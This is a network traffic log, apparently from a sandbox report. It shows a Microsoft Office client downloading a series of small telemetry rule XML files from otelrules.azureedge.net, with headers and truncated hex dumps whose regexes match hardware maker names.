Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:38 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 3029707a-401e-0047-3163-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132638Z-178bfbc474b9fdhphC1NYCac0n00000001dg00000000fbb3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:38 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:38 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 3af7945d-501e-0016-1564-3b181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132638Z-178bfbc474btrnf9hC1NYCb80g00000001n000000000gzuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:38 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:40 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:40 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132640Z-178bfbc474bbbqrhhC1NYCvw7400000001m000000000k1ty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:40 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:40 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132640Z-1777c6cb754gc8g6hC1TEB966c0000000b0g00000000mydk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:40 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:40 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c296684d-b01e-0053-2a99-3bcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132640Z-r1d97b99577hsvhhhC1TEByb1w00000004n000000000d1xy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:40 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:40 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:40 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 95b9e869-801e-008c-3081-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132640Z-1777c6cb754ww792hC1TEBzqu40000000b20000000004ee4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:41 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:40 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:41 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 57b2d8b6-201e-0033-2767-3bb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132640Z-178bfbc474b9fdhphC1NYCac0n00000001b000000000kh41 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:41 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:42 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:42 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132642Z-178bfbc474bxkclvhC1NYC69g400000001b000000000m8q1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:42 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:42 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:43 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 792329fd-401e-0035-1f6c-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132643Z-178bfbc474bbbqrhhC1NYCvw7400000001s0000000004439 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:43 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:42 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:43 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 20e2cd06-701e-005c-2869-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132643Z-178bfbc474bfw4gbhC1NYCunf400000001hg00000000a07t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:43 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:42 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:43 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: ae8c6dce-101e-008d-4280-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132643Z-1777c6cb754b7tdghC1TEBwwa40000000b7g00000000d05b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:43 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:43 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:43 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132643Z-178bfbc474bq2pr7hC1NYCkfgg00000001m000000000g1f9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:43 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U 